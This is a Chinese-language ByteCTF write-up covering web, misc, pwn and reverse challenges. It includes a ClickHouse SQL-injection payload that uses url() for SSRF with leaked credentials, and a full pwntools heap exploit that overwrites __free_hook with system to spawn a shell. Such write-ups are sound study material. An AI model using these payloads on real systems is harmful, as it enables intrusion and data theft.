ByteCTF-WriteUp
Web
double sqli
解題思路
clickhouse的sql,官方文檔:https://clickhouse.com/
讀取hint:http://39.105.175.150:30001/?id=0 UNION ALL SELECT id from ctf.hint,提示you_dont_have_permissions_to_read_flag。
/files../路由發現了目錄穿越,在/var/lib/clickhouse/access/找到.sql文件,可以看到user_01用戶名密碼。這里,user1權限是高于user2的
閱讀文檔,我們可以通過 url() 函數構造 ssrf,連接上 clickHouse 的HTTP客戶端接口并使用服務器上的 clickHouse_client 來切換到 user_01 用戶,并用 user_01 用戶的權限來執行查詢命令,官方文檔如下:
https://clickhouse.com/docs/zh/interfaces/http/
最后 payload
SELECT * FROM URL("http://0.0.0.0:8123/?user=user_01&password=e3b0c44298fc1c149afb&query=select+flag+from+ctf.flag", CsSV, 'column String')
所以請求url:
http://39.105.175.150:30001/?id=0%20OR%20(SELECT%20*%20FROM%20url(%22http%3A%2F%2F0.0.0.0%3A8123%2F%3Fuser%3Duser_01%26password%3De3b0c44298fc1c149afb%26query%3Dselect%2Bflag%2Bfrom%2Bctf.flag%22%2C%20CSV%2C%20%27column%20String%27))--+
即可得到

Misc
frequently
解題思路
發現dns里存在文本【o.bytedanec.top】和【i.bytedanec.top】
猜測o和i轉0和1
通過wireshark導出.csv,
notepad++進行數據處理后

編寫腳本
str=''
final=''
list=[]
with open('bytedanec_io.txt') as f:
list.append(f.readlines())
print(list[0])
for k in list[0]:
#print(k)
if 'o.bytedanec.top' in k:
str += '0'
if 'i.bytedanec.top' in k:
str += '1'
print(str)
print(len(str))
for m in range(0,len(str)):
if m == 0:
final += str[m]
elif m % 8 == 0:
final += ' '
final += str[m]
else:
final += str[m]
print(final)
#01010100 01101000 01100101 00100000 01100110 01101001 01110010 01110011 01110100 00100000 01110000 01100001 01110010 01110100 00100000 01101111 01100110 00100000 01100110 01101100 01100001 01100111 00111010 00100000 01000010 01111001 01110100 01100101 01000011 01010100 01000110 01111011 01011110 01011111 01011110 01100101 01101110 01001010 00110000 01111001 00100110 01111001 00110000 01110101 01110010
#Thefirstpartofflag:ByteCTF{^_^enJ0y&y0ur
后半段追蹤UDP流

發現可疑字樣
得到后半段flag
sse1f_wIth_m1sc^^}
拼接得到
ByteCTF{^^enJ0y&y0urse1f_wIth_m1sc^_^}
HearingNotBelieving
解題思路
根據簽到盲猜前半段為ByteCTF{
au看到中間段flag
漢信碼,掃不出來,嘗試手動還原

RX-SSTV還原了后半段flag
手動還原

ByteCTF{m4yB3_U_kn0W_S57V}
Pwn
bytezoom
解題思路
先create 在select 在create可以造成uaf,而且select 對dog 和 cat不相沖,所以可以用uaf dog 在用cat申請回來造成類型混淆,然后由于dog的age 位置正好是cat的strings字符串的指針位置,然后利用這個改strings字符串,申請一個unsortbin釋放leak libc,然后在用add_age計算偏移改到tcache_entry,改free_hook為system
from pwn import *
context.log_level="debug"
context.update(arch='amd64',os='linux',timeout=1)
if args.Q:
io=remote("39.105.37.172", 30012)
else:
io=process("./bytezoom")
libc=ELF("./libc-2.31.so")
sla=lambda a,b:io.sendlineafter(a,b)
def choice(c):
sla("choice:",str(c))
def create(c,index,name,age):
choice(1)
sla("cat or dog?",c)
sla("index:",str(index))
sla("name:",name)
sla("age:",str(age))
def show(c,index):
choice(2)
sla("cat or dog?",c)
sla("index:",str(index))
def manage():
choice(3)
def select(c,idx):
manage()
choice(1)
sla("dog?",c)
sla("index:",str(idx))
def select2(c,idx):
manage()
choice(1)
sla("dog?",c)
sla("index:",str(idx))
choice(4)
def change_age(c,index,age):
select(c,index)
choice(2)
sla("dog?",c)
sla("add",str(age))
choice(4)
def change_age2(c,age):
choice(3)
choice(2)
sla("dog?",c)
sla("add",str(age))
choice(4)
def change_name(c,index,name):
select(c,index)
choice(3)
sla("dog?",c)
sla("name:",name)
choice(4)
def change_name2(c,name):
choice(3)
choice(3)
sla("dog?",c)
sla("name:",name)
choice(4)
def main():
#pause()
#gdb.attach(io,"b *0x555555554000"+hex(0x2844))
create("cat",0,"aaaa",18)
create("dog",0,"aaaa",18)
select2("dog",0)
select2("cat",0)
create("dog",0,'bbbb',18) #cat --->uaf
create("cat",1,"aaaa",18) #cat(1)===>dog(0)
create("cat",2,"a"*0x400,18)
change_age2("dog",0x848)
show("cat",1)
io.recvuntil("name:")
libc_base_low=u32(io.recv(4))
change_age2("dog",4)
show("cat",1)
io.recvuntil("name:")
libc_base_high=u32(io.recv(4))
#log.info("libc_base==>"+hex(libc_base_high))0x7fff
libc_base=libc_base_high*0x100000000+libc_base_low-0x1ebbe0
free_hook=libc_base+libc.sym["__free_hook"]
log.info("libc_base==>"+hex(libc_base))
#choice(4)
#change_name2("cat","\x00")
change_age2("dog",-0x153cc)
select2("cat",1)
change_name2("cat",p64(free_hook))
#gdb.attach(io,"b *0x555555554000"+hex(0x2844))
system=libc_base+libc.sym["system"]
ogg=libc_base+[0xe6e73,0xe6e76,0xe6e79][2]
create("dog",10,p64(system)*0x4,9)
create("dog",9,"/bin/sh\x00"*0x10,9)
io.interactive()
if __name__=='__main__':
main()
Reverse
languages binding
解題思路
運行PE文件,得到使用說明。
usage: new_lang.exe binfile
根據題目提示,了解另一個文件是加密過的luac文件,根據luac文件的頭部的“19 93 0D 0A 1A 0A”前4字節搜索代碼并下斷,運行中斷后回溯,找到加載加密腳本并解密的地方:sub_501F80。解密過程實現上也就是與0x55異或。然后采用不斷運行+斷點的方法定位lua引擎執行的位置,略過環境設置、頭部檢查等函數。最終定位到sub_4FAF00,此為luac字節碼運行函數。0x525540處存放47個op的handler表。
再看看解碼后的luac文件,文件頭明顯被改過。 
手頭有個luac 5.2的解析模板,就想在此基礎上修改luac和模板,希望能解析出代碼。修改好頭和替換官方5.3的op表后發現op表好像與官方的不一致。于是又開始漫漫的op表恢復過程。
嘗試多次后,想從0x525540處的表著手,因為此表的每個元素的前8字節與op是有關系的。如下圖所示

這個表實際對應下面圖中的源碼 
當然前8字節對于op并不是完全唯一,唯一的就可以確定op,有兩個的或更多相同的可以先暫op在表中的位置,再根據解析情況交換即可。最終的解析如下圖:

'ad'就是加法功能,'mul'就是乘法功能,check2和check3就是檢查18-29位的字符和“ByteCTF{}”的格式,check2算法就是簡單的四則算術運算和單字節比較,大概情況如下圖:
當時的記錄如下:
dict[9:11] = [101,122] lst = [100,120,133] 1 66 2 121 3 116 4 101 5 67 6 84 7 70 8 123 18 +11 == 106 19 1st[1]+21 20 dict[9] + 8 21 ad 100 22 22 55 23 mul 51 2 24 108+1 25 48 26 100 27 102 28 120 29 125
少了8-17位的校驗,看上圖中的解析,里面還有個"_"函數,并不在此luac文件中。應該是PE說謊的愛人中注冊為全局函數了。輸入29字節后,在輸入數據處下硬件訪問斷點,斷下后,追到sub_4E8D80函數,其在0x4F5C57附近注冊。函數偽代碼如下:

就是簡單的異或計算。
反解后結果為:ByteCTF{1golcwm6q_ymz7fm0dfx}
0x6d21
解題思路

主函數非常簡單,跟進去,發現一堆的跟我們核心無關的代碼,直接略過,很快找到核心位置

這里是比較字符串長度,同時這里有進行一些計算,動態調試過程中,因為ida無法查看這種寄存器值,造成了阻礙,就是靠這f5的偽代碼,一邊調試,一邊猜,慢慢還原出了算法,有點像矩陣的乘法,具體沒查,畢竟用z3解就完事了
#!/usr/bin/env python
# coding=utf-8
from z3 import *
x = [0x15, 0xd, 0x8, 0x5]
y = [0x3, 0x2, 0x1, 0x1]
result = [0xd2c, 0x00000a3d, 0x000009d9, 0x00000bf2, 0x00000b1c, 0x0000095c, 0x00000a12, 0x00000d1e
, 0x00000b72, 0x0000093f, 0x00000957, 0x00000bcc, 0x0000055f, 0x00000559, 0x000006da, 0x000009e1]
def getflag():
s = Solver()
input = [Int("x%d" % i) for i in range(16)]
for i in range(4):
v4 = input[2] * x[i] + input[3] * y[i] + input[0] * y[3-i] + input[1] * x[3-i]
s.add(v4 == result[i])
v5 = input[6] * x[i] + input[7] * y[i] + input[4] * y[3-i] + input[5] * x[3-i]
s.add(v5 == result[4+i])
v6 = input[10] * x[i] + input[11] * y[i] + input[8] * y[3-i] + input[9] * x[3-i]
s.add(v6 == result[8+i])
v7 = input[14] * x[i] + input[15] * y[i] + input[12] * y[3-i] + input[13] * x[3-i]
s.add(v7 == result[12+i])
if(s.check() == sat):
m = s.model()
flag = [chr(m[input[i]].as_long().real) for i in range(16)]
print("".join(flag))
getflag()
ByteCTF{matrix_0bf_mba!!}